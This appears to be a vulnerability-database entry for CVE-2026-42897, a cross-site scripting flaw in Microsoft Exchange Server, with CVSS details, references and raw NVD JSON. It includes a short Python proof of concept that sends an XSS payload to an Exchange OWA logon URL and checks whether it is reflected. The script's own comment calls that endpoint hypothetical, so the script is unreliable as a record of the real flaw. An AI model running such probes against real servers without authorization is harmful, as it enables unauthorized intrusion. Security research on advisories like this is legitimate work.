CVE-2026-42897

Description

Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Microsoft Exchange Server (具体受影响版本请参考官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept (PoC) for CVE-2026-42897
# This script demonstrates a reflected XSS scenario.
# Usage: python3 poc.py <target_url>

import requests
import sys

if len(sys.argv) < 2:
    print(f"Usage: python {sys.argv[0]} <target_url>")
    sys.exit(1)

target = sys.argv[1]
# Malicious payload to demonstrate script execution
payload = "<img src=x onerror=alert('CVE-2026-42897-XSS')>"

# Example vulnerable endpoint (hypothetical based on Exchange structure)
# Attackers may inject parameters into OWA or ECP interfaces
url = f"{target}/owa/auth/logon.aspx?url={payload}"

try:
    response = requests.get(url, verify=False)
    if payload in response.text:
        print("[+] Vulnerability Confirmed: Input is not sanitized.")
        print("[+] Payload reflected in response.")
    else:
        print("[-] Payload not reflected or WAF blocked the request.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42897
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42897
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42897/
[4] VulDB https://vuldb.com/cve/CVE-2026-42897
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42897", "sourceIdentifier": "[email protected]", "published": "2026-05-14T18:16:49.360", "lastModified": "2026-05-14T18:19:50.767", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Exchange Server allows an unauthorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42897", "source": "[email protected]"}]}}